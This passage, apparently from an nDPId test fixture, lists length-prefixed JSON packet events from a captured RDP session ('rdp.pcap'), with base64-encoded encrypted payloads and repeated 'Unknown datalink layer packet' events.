\/LCTmeMkUvktTB\/csATbHoXfjsTCHpsPp1F9y8vn6fM7i6lEQT+plB6Z3BLSVBvtCYdq+Q3Zm9M\/\/bdkmjUzTy9Y2a"} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1624,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00351{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1625,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":656394,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9H0hHoHnqUBAf9GkEAAA="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1625,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00433{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1626,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":656584,"pkt_caplen":105,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":105,"pkt_l4_len":0,"pkt":"AgAAAEUAAGVi5UAAfwYmrsCoAo6sEAK5DT3NDkegeer5vR7WUBj4qtaCAAAXAwMAOAAAAAAAAAIQa9C4LZUmEKPPYmv8cCRpVPhUFZsxfy2rVwa9s6FLD8fst5ef+AsRoiEb23SUXsHc"} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1626,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00352{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1627,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":656628,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9H0hHoHonUBAf\/mi9AAA="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1627,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00424{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1628,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":656770,"pkt_caplen":97,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":97,"pkt_l4_len":0,"pkt":"AgAAAEUAAF1i5kAAfwYmtcCoAo6sEAK5DT3NDkegeif5vR7WUBj4qs6QAAAXAwMAMAAAAAAAAAIRNGCwki1ul\/10vlKpnHZcAdC96XXMBVneu7pqPEkqAcf73ctO9GM4lw=="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1628,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00352{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1629,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":656808,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9H0hHoHpcUBAf\/miIAAA="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1629,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00424{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1630,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":657027,"pkt_caplen":97,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":97,"pkt_l4_len":0,"pkt":"AgAAAEUAAF0AAEAAQAbIm6wQArnAqAKOzQ4NPfm9H0hHoHpcUBggAGfvAAAXAwMAMOAIO32NJwwurBpAj2BtBHwq6YXgjqlZR+39pVJanJC9Ajy94UP44lRku\/juk3hhVA=="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1630,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +02089{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1631,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":657038,"pkt_caplen":1317,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":1317,"pkt_l4_len":0,"pkt":"AgAAAEUABSFi50AAfwYh8MCoAo6sEAK5DT3NDkegelz5vR7WUBD4qj3tAAAXAwMGbwAAAAAAAAIS\/XPI9pwjMFW8d+vXHUWGIT\/pa4WGXhWvvkXXxTxijAzWoPLZu1eSMjqzIuwaB+P5hn3fN36wjmAUAhCAnn6XYEsceUJQSvVmDTmw\/RwGZNJeaVc9q9TYlzL0Vkmg8N4M0i5VxILj\/\/ar1HMTVZYtnrQgZXU9exRlY6ZPcbSF9usIBnsfKIaviZRYYjArk+KWX+ddNN6vfB8RXd9S8Mn42g2chdQ+hsXdTIWqkMED5JXQfaOABODmdoed7RgnBKYe0ZxLInhI+kRfG5ln+Qaccg\/YArcdgKkWsjpf2q13VLsim0giv0kmU5TSQ5enbxRwMq\/pldl4MSjgiz1Cs7Jm+mAhrZRUqfITAr8uEktcYT9dyBELkkenDT5ybV+HYbfy\/dpelCByOBzDFSNQHqZ2vkcYVqy1CDQ4rQEab5mto1gqSA\/yIYPk\/hOPw2mfYgr0ga9ZXQicbHXzp\/PLDsQbotsXCBM0rJdprKYKV8R4+tEiqqqC6Lg9IF3RkKl\/4mX\/2DYKRWfm+Ve8L29Afe0RY4Qd5F\/AjcwHRoLz+\/Tb5z4gLsviXPWE0wuzzRZlxYA7W2\/tb5UoF5NMw55uoEAWULnbOh99gCVIn0LF15UmFYRXXJEzNyxPVYQV\/SwCDpUeRcONy7U\/HAseVwjiFJMApFRE9+yxg3xyQNSY6nv7cqfil8BqW8A8Kf73t6afBRVN\/yXH3x\/LgscSW30RnGE3xn0y1kK91VvgXnO\/SozQTwObrblOuPH7sstSeDLOovlwD3b2XLhvUMS6bMLz5HjvtjauGh7\/Abj5tcQaOL1awZ9NyTh\/ro\/Z1EZzhnCcqwGdEgKRpplLEn+jNXSIqt4bbc7A6bPizY\/3inrCWpfpdIWXSFlIDa7oWneSrbCxvgrAegWBkRz2jdqyySGPQYh44OUmhzdE\/7AIpym+CcM7AYVk28\/\/oun9sik8Daocux\/meVZxJoxqL89gcuP003koEXlPWly4zBj68FrhQUjIacTBVtO48t9ufAcwuYz2UpKyIOnH2XteEsUToXuUQzaz4igzGOi\/3okVB\/d5Ddz9qcTdnJBD30XpQLsOPQ1CntgbkIlwWwd8icmP6zGjz3ZPDJtyQcSli3rDtRrMFpDk2FiUsgmeN3LHCp0+v5MK3Rq73LlIlkE9KlfMSky1jJKgVX9HZM41SXDe858KysnqF+aH7f\/W2c2S4ZGRLRq+5YXENsq4ZyfkNbBtnP+8gGncXvCGG6aFR0jC1IeA2rHrTu5mZl2L1k+4LGHsX637+gouQkUjihWnR4O5GK2rhTvoDBr1ZuB8HwgyQXM21rl\/VuI1MNshDwZRRsUOWkzVsIsOtj19N38cslHHCsEekHdSwYuHFC2lCFAmNYE6Rh2RmqazD6dBjcbzSoGZLzjUckGCig936SCzIgn7UkgDIgUpf8adJLwUE6EULlk4FDq\/4TAnsqG75b7+Ec6UYK7iVquZgweVh6D5g890qbdeOhILA4UHjDDRyR2nwNZEDMHlf1Vhu38uV6yEQyyee4FBQP7ptwXb9hyD4SiNnOc+3Pu6QmHaf0w8YDQU\/8ovV0VUbQGWjJvGuWRsPkF5C7uc59CuoVyqb3RF1se7PxYROuCurp4RHRn\/I\/IsvDWP8C70c3+Puko5BvX1chhCXROPBSL8pJ7F98e\/BQv6xknH"} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1631,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00868{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1632,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":657070,"pkt_caplen":423,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":423,"pkt_l4_len":0,"pkt":"AgAAAEUAAaNi6EAAfwYlbcCoAo6sEAK5DT3NDkegf1X5vR7WUBj4qgTFAADFRibvaaViJFVESU4bunqCbsBT1eNHdJ4+Ada7VnM4uVevzF\/ltg6LvWOvxlCskX0kNHvbGiK0\/8xz23oJxyZ4N3DTQ4712+9DrXC+sENGbafukNgEmIO\/K3adMlWK2m2M7ThAV1VmXaaVy1a5kjRanfbEFVNTN63nBlypJY\/biwh\/2O5tp74EtxLfoerf9\/XcV9v9cyoCCTUtRIgu5XucKax\/Ij\/y6yb+xc4tqY1mMJ1qYBPek6\/q5fdolvBk0SoE207SBijHPYZ4jX3cVUfIBtzknTE5YO9zpO4VYmV2Loe8JQfM5cWzeLTb+h+tE2moC9LeyhBHx7bF9nS1\/IgASNJvbRpC9jR2K51hgCZCCefv1XzSMSudN9w4NqpKzufcSBCZFH5AzKUdKMgkI3AnO0zfCmyvE\/PVwdBqXlGeukhKylKTiXx8wq9UIIJKnRAmZF0bRxw2FSKgPq3Jg4LQI4FrgOxeTenMfAQIB+YhqqS5CsfNrtftuVvI"} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1632,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00351{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1633,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":657093,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9H31HoIDQUBAfzGIRAAA="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1633,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +02087{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1634,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":657302,"pkt_caplen":1317,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":1317,"pkt_l4_len":0,"pkt":"AgAAAEUABSFi6UAAfwYh7sCoAo6sEAK5DT3NDkeggND5vR7WUBD4qpdtAAAXAwMGbwAAAAAAAAITtTnRk+VXiOb2He8dc3GyX58yJbICb+p0ccriWCsLQ8Z\/3mkEP9Al0cTSoFh2ZkOE+9wQk2T8ikT05asksM9\/1lP9ZKmrXGCQusmklP4UtGgglhXuogNUJTYRVnCRocOIqrBdPzOE9EdDas3FiyC7Sex0Iqihg3R3sIihyrYtnuSrVBQcoW3K8wvdezaX7+p2SvkfwMMv+DYvjRvoyBhm+1C+vv\/k7buLtCeLvgUM97xDg6\/Ooa5lgcmmpRaY9XW3gLUe1JPEB08JxHlmzINN0AlKx5IaNmQM+E\/0drU5\/3AsG+XAwDtTMAcRrUYNvOJ5ebkkUfI\/gebQDc6A+QWs9Y4eaGMckPoo2b9jop4uEsccdYX85c+9W\/MDBk5skjWHEkzaUSMJPh5Euc8GPnn1YwfTmYmNnFimHJA6c\/RDky4L6MpB1C8qdfoq3ZW0ghzYqSiD+S+MU61cSDZJBCoqOPwJuwyXSgWiCD7JYVF76FVqRqZby0VGrepTWbRBpwKHVYeZV7+nzAjh3hvsORAON\/DTxYttpQinSN2g3zXJlF18LRCD\/UyTc8zboEEYlCmY2BHo2tgCvyMD5sNWjSn32GNK70g5ABNITnxVF3BpuvT0f9RVnze+2cYjYTbRpOjXJlapiqAd1FW\/mSqKujUhi4muCyWxghO6ywowWO44Oz5WgKJQFtc0hId97\/wDh4vDRzKwwcBg\/P8rH351esf\/ZTQtH4\/qRg+mSUzvA1Vc29Nwf1bHRC6XisgiyK1gPqp\/i5JC4Nhq29CRpDoLPscysCb\/IWdH19lYrbRbCxUXMLKdRSLrJCWHdMF7352+7MGQ9g0TvXL40Ut3AxmBK73u1jDFkcpe8bfgkvPiii7DIlCUKbHIVvi77howpzz\/S1hdUUOrx1i6yRrgoBUdNa1U\/ER7d060U9ID2uE+xvM5GrTuGGZX5OuCllQn9nX+dhR\/WoJ3Hv8WaLUGYGRnHOOsElVnGvmG8hQnPDUPCpcoMNiHzMEezrb\/33kZzS4NsI6xv1p1wCTO\/nBZa1bHfpkdTtJ4cYsGDDn7\/sc4FkjjcJ0rcGPhNFqyz\/e3lx5DRgqNzXS5C6WWj9glIJwyr4R7m3y3\/YGFK48sWUkVpTcIL\/4zbWn\/1MRpxMOIwWcW\/vD5Y9QQ1JEoN+kAws6uRXHEbyFwVyce4\/lU5gDiepD1LAoKb0asqzoAl826pltmR0uu3Oppyl1XabAQYQT4VSdM18HH1WOnPDTPqo9EbzUu8pfXcTBc+YcldIVYdbnf9zZXDoGH0zG4LPcqm00n6HTpANfv85+xTwa8aSeabY4vHkU8ZlbkgdpmL6p2LtQBxnaAaXvAtpSawwzN9XPUf5kZt9dXzSDIiz0Mn\/kDQTuDElJ35YgpVF678YRtZ1uUxhuq0HPD7\/l\/JGIHTrWi6EYhpR6cdqZkUAMhoDq3ZxtO5dz5S\/j\/yRXei7kCnRP1CNzPSS5Jr17TFwGBfm6uuil8alFcbwWdf9YvQSeuGGBT64W6+8hhWfh7a7GiXEhvVXRzlz7nBS+2PFbTLUZ2Nw2DFQpPivmZfRBaMWbAk\/8NgMI9CqL61NifaglBTobh8RO6RHih5+0qcGqWagpYvmNlgLLab+ui3oG6q4GAUA3BwD1dzRKw7BAK39TG+rtxAEFat0COTc6ExQJ7cPfp"} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1634,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00351{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1635,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":657353,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9H31HoIXJUBAgAFzkAAA="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1635,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00865{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1636,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":657576,"pkt_caplen":423,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":423,"pkt_l4_len":0,"pkt":"AgAAAEUAAaNi6kAAfwYla8CoAo6sEAK5DT3NDkeghcn5vR7WUBj4qpfnAACGPv4U10MgX9TkELqnk3NUDqWC9MGcEXC18AH55ewdvOSj+SOBdCOuQjn5QQR++QKOyiYh+ANWfausuTbwjalTB30pOlaqfOcLjFvAv5t0FsE8HpzAT\/u5yDIUQw\/2MIPJvim1U1MZRsE23c5mMpjqErOKiNsFQCVGLuhL3A7C7\/yOV1u6jhPW+lEvhYFHc7wAlF8vh+BWGBiZDRXOTiq7oHYFBWBX2++vLZ2T0B\/VvWOgFBsuVwcm9YZ+YNB2L89HGYyK8YOTvRnW1Lk3WRIgoz1TC6cguiSdYrhzRSyDZ6ZmA\/c++q+mhzlarbmGXn5zVNYpv8xAsQ5+HB\/pSr\/vLxMTiT+Ef5OjOCMUsrh5t2QPbynUo7frR8Eecc6DrtSKghySb0WdduSwXr+3C9aJroEDyd8G46DhOwNGiFoT088ZV0Nemm\/fXpXrPfry4scDQeJDJUvdnieNnTO7sDglA0X3p+GFhlLIAIllZTv44CLGiXt3qub1j59N"} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1636,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00351{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1637,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":657618,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9H31HoIdEUBAf9Ft1AAA="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1637,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +02076{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1638,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":657657,"pkt_caplen":1317,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":1317,"pkt_l4_len":0,"pkt":"AgAAAEUABSFi60AAfwYh7MCoAo6sEAK5DT3NDkegh0T5vR7WUBD4qhGiAAAXAwMGbwAAAAAAAAIUqY7WovJMQzeyHPaFGbLFNlV0HulAA9YRr9vJQbGOsm\/7CwWFtP1\/oKbOKwuXtroRf18VVhKBdBSGTOFnXS7Yn3Y5PT1ktDtLJjiqSkF37NQSs6j7HPiPWA9tw3REIb2w7chE2gBPYbSXMv38W7ICoklrqRbcHGbwO09+5ze7aHEUSpoEc5Q+7pSOmvNnT+dh3qGS4L3J+a2B9wrskrZcCfmyXhpS\/mE2G\/vQXOViAYtsFldqUjLLpnbYQF3EyrNZvj3qZWTIR2grJUET1f3fkJWKPFgOTZxt\/h5i1wXQ5FefD7xrdcCWVno+Mnv5pqOR7u3pXx83rcHChp36NJpAtsgFrSSNoV0sF4Ji5eDmcj9r081V7jFfHn7zo\/mZHnNMreAslVNHQy7DeZoRVEOQ6KQLzMUeRybLHWznD8mtAzUdFTAFMiRQP9IIsoDGyZok9tvxFE19lnNvhZA+U1KMoxg9dCe2DxQivvfFv3StyyXFBX2JiKWtIGbzDZYy2EnmF9yfaZdyjwDrsbHjXmueDnFRcOcteZKiUc1j0UqtDIG28PSrMJCyKptUr0qIeQbYay6GYzLs6Nxgfx4IO2G3hOrqAUu6Ij+gqqWxv2OboH1bkMB8bXuVTpU9YpLuOtYd072vPfvZiewAMz2DDF4063txSLvXvyTLyNYpVgvdBIm\/lr12KMM1P1VpXR9MwC8jWnFQXrUbmPGLIAv\/eyo+MmfGsg7J1NSrJq3AHvQCVIgncjwOFaoMoHFIeg3OvWamVxiL+IzGPxJc3gDFgqIW2VMFHCzL8mS25HUOZZ5n4SpEOYkMrtgaJoh3ZhEuH+klDVKd77\/xqZg+6mIB9tp3rUXCh9Pt0bskbft9A1fk87jrOte3kNO8PDQwY8ItIIjiawZpa1d7yttUOSqsu7RDtWAQRdznAOgtlkS6e1kuuyQbeFkMy1nyzOl2\/t501wbyHkslEnYq9N5U\/oRTi7a2rSUxLhtaGMoicG0qNWHd6D5iVLrr+568p1rLM32VJRoF8TtgfCiTlxjBvd9xze\/0YOk4YtyG6n0RSAzkIsyMDb05Ap9G+0DEILs8IEM6PJ2i4RNwmv+ftZ3jxaWyhfLlY3AQDxvo9au0GnqnfKh0KvkqrgVAH+j6OjrhlkNG98ZkDDbucJ4eLPuacaUmvwCnHMel6ldflGDM94d6ErLT7sJAQ5Agqf0D4C78czNtZNWzqB+etbtzFgk4t9EGWKH\/mUhybOe2QpndJJK00c+nRctsAUuxiYMMFPxw50DsSIDYrQzN2SEk\/kc+SCmSz08fAfs2\/KdjyM5rfRlRYqalxrkWgVBBiy2DPbcr39pm3zmQvQMtKQmqKA5ntYpb2E49w9a4S+DN\/rATWW6aXdM\/QuLmf\/TE6dYFP3glgHmdIWQ9zkq0GtQBmZI7e2JtxIDZlzq\/fKWCiHt6VSE6qO0i\/Fozf5I2s8lVVX6bL9Xig8EAlB+vwCVzxx0zjADprYFXKPfXVP6JLQOSzVsQJTj3LG\/Z9pRBLkeMeY49+cdRP8GeyrfiOYC\/VDKbfV7LGU3ZLeAPbw0T4bjzNiitzYH0lTngTm8Tky9j0IStq4Qa5oDAX4lPKrzayzBiT3AI\/iJyx2JrvvI\/LP8x5dSqrZ8IPReHnPlkEOcwSWJ3gdNWbrrDK\/G0KaGXgJcYuC62"} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1638,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00864{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1639,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":657931,"pkt_caplen":423,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":423,"pkt_l4_len":0,"pkt":"AgAAAEUAAaNi7EAAfwYlacCoAo6sEAK5DT3NDkegjD35vR7WUBj4qgr\/AAAvWOSftXkZcWHmthtaRBASOMwPz9RUpwKJowSq1CZBZX485cEbZ8rR\/IauWopjgJuIx\/bzdYEyGz4IWsGhWKin7W+zDj9b3h8IDduneoyAOeX7yUZwM6U69gb52DUfzro+XYyTZO1gX9HOgR+YnIDbc5YDEtUr2ppZFFLn5SWeoFiUuhZhZJUgJ+n8o6w4W1D4zGyPEqRaI0YCad3DESeJhoWN7EvReGXB72yIEPDMC+eDz7SCcCLWYIRF2LK5ivPVoLR5N85vFqxin3fTJrYcHhwwEAa3YYqrv7oqUcT7697RUfvtRu5Zfr\/J3LRbupPyxRHQAxJbGZDgVbmr5EDrjYxf5R70aZuax11JuRQEGJanxnmhhPRVzIqCaubEf25+3k\/jtIPaOKDHxTjKs292eXX1UgOIVuiKvzCQ1ufmQlx3HRia2QOK7JziEbziVXHQ\/4oA5SFYmzW+YJErQPX\/zd2lJDav+aYcRwtZr0JEowr0iyRqT4722d0+"} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1639,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00351{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1640,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":657968,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9H31HoI24UBAf9FUBAAA="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1640,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +02077{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1641,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":658047,"pkt_caplen":1317,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":1317,"pkt_l4_len":0,"pkt":"AgAAAEUABSFi7UAAfwYh6sCoAo6sEAK5DT3NDkegjbj5vR7WUBD4qmX4AAAXAwMGbwAAAAAAAAIVfGa\/RHdXBfBQtpR09gzyuaAhDukDbqGhqdT6\/K+rem4m1yjJ3sENumefdM98m+HPRKVHsTZ794eBhObjasECcQYGZVoxrEJzvgDDFl0Ux0qt+zZMReYO8kHMB1dfUL5CbP2a3SRQU22ikymoVFc0Q7NBXxUvZeAv0U33gsgjRunvpyoSYWB36+J9u84zkmE05fZWw1O4eakWT\/yZvPyuL5vI\/1p31KU1HJBq7XetFGtF8tsrukeaSm69Qt9ZN8iMkuRenM1NE33oz979IYc\/zFASIAqNzbhVggFVSw58dFUSzKdZi5+xGAQLK1WEwNhAp8VCqv\/Ce4Dpaj8eigGMnnRThSlZYCOM5zyL8Uj8C1oAlq5C8PXIwJruDQahQFB9UIIuj9uzF+8Yj7Kr3qS\/5DCpPuoJyD975mJioyHfjyAhkDJuoMevBlSgALb2gGFvI7\/z71vx92TrHFgEeWO1e+sLgjXPQ9nC0RG6w1PPn8b\/zxo8qwuovSyM5P1JC9Wv6B5gymiKGlQyE1NRRQGo3DxYDhMxWcwbGmF9f0SmLsZsq\/aPIpUUyEFD2sCRsFqv1WY+2NOunjwAB4W6IjyXBUHFZzDIJcRUVxmTHi59e9mdCqmrwNQxoJNV0jt+H25YsPhjGo3rmDF17RQNK3kesKtEYbmly7ZwDD3oFC1Nr0UqOVYx74+pS33\/oNqZowYYcOBnNB+tBbsfHbak8KQwVPk59xZ2z030DGwe1\/ZACFNU\/9qP0slaW1CBEADjmjCZbPShtpqCHBNjaoYXsr2LqNr0n70VhWQgfUuX\/ZsMHa6lmsYC9KF3AzxBJAcy84ZsJwYdBR2LPSb8qMvuRT3IkIrHwbRYmodIXUURRaFxUgGm\/Y+FCJKxL37wwylkIxjz9sV4hxjKb3AVT\/zGeK+0RIFNEyylCjsHRQZItXx5ZegeK3FbVjDK90r8QmcPciv0IN2OYNis7m0T2f\/tqdXFZgL\/ehgm7Dhfva3rvMRvNlMhB9b48oV79m1LOk6lPpJ3PjNiHRJnCnSeMDdiKuPmuD0Z8DMJw+LNauvvCPsFRDZTwM4jSXCDkq5rBJt08euaI2fKMfenLyDcVWzFhF\/x3bm1stRJVKh4fSd\/Q19jBAXQwDUR2YNFGu3\/HEK3EIJjrypIWVUZsnk6tfw24COWlzhj8m9e2kqsGjjJl70EEnkU3pCZBhFJ9RA2pWIQW7UILiMTCN+KHtYFbmGXI8R6HyceCWE\/aW+nlbmla\/S9XiuwYXMhlOezThvwGWo2e1Gf8EDVMqUH6lGw9RyMKfAwN+x3dPDWM+HnnKVKU5y7UCuKY1q1IaTF2\/qMUpUp7f182gWd2oK35gUfCLhHqf5t1vHLZLtpJuH35T08HDiBrIUJ3eQYVrFZj2Zc7\/kqkoKzJFff0B9y0XnLTpKLdx0+wCjp6SK88d\/RF8jXrJwd9u+v13IFb81VkSWB8IUhZ8O05KX69emAxPxifcnOm8zmqV9eGyRuazS9GnC60OY+f2R6EvFqEf81log6+4EqEslVH2GC9oo5pBpLsUam3wZmGl0cV0Yts5s3Z52li+EnNW3wL07SecqtgHux7KlsHF3XFKCtmhtbl3zgqEAqD4ZIHUfbhTEw0Zh0d7KqsGWwBWapwkwzkS1pjvXWVHQH3Mc07sEKrzqAmhpzp7gx"} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1641,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00866{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1642,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":658113,"pkt_caplen":423,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":423,"pkt_l4_len":0,"pkt":"AgAAAEUAAaNi7kAAfwYlZ8CoAo6sEAK5DT3NDkegkrH5vR7WUBj4qt3jAACuxhBkcrSa4Uo3EHnztRODzSFgiDTtzQNhRCydrk5nIzHSgruyINYf2mAp0cZix2v4F9Z2bZY8XPQeEJmBqLfz1ODiLiXfJPD+pN5CsoHvakuyC997\/W3wSJad3d6fcbZlMsoHTzCkppp0AW7GXxbHdxb9c8CsEuhtvgcfwg1k3PZdbT3\/wNkqWHM\/+GIIv7Q\/X3GdnDwXsUdwf+iqAbKkbczXj0RE1VZV\/I4WB0gcno5HpGcp0lVoIPZKdfkQxgYtqNgd+BHzKEtgjRWwtbXwTX6xvM1KL4hC9n+j5sWtIcUcgmXq8qn257rGD9NLZVRFfSWWHqFUuqtQsEHHtjQMrXeLIGKN6GBIdBzNpvzAG2HPaULd7g1EtuLw4bt2NsnsmKLBv8rezpYa90T\/qZ\/zd56Tes6+UmvuZP5ALqK+zpernjs4dA9zOLCX3VNN8xoZSGqLmWcj7bS8DMY\/+YQxJTHRRoG49mHcU5fOWSDHqa\/LC+wCFUWhpRpR"} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1642,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00351{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1643,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":658176,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9H31HoJQsUBAf9E6NAAA="} 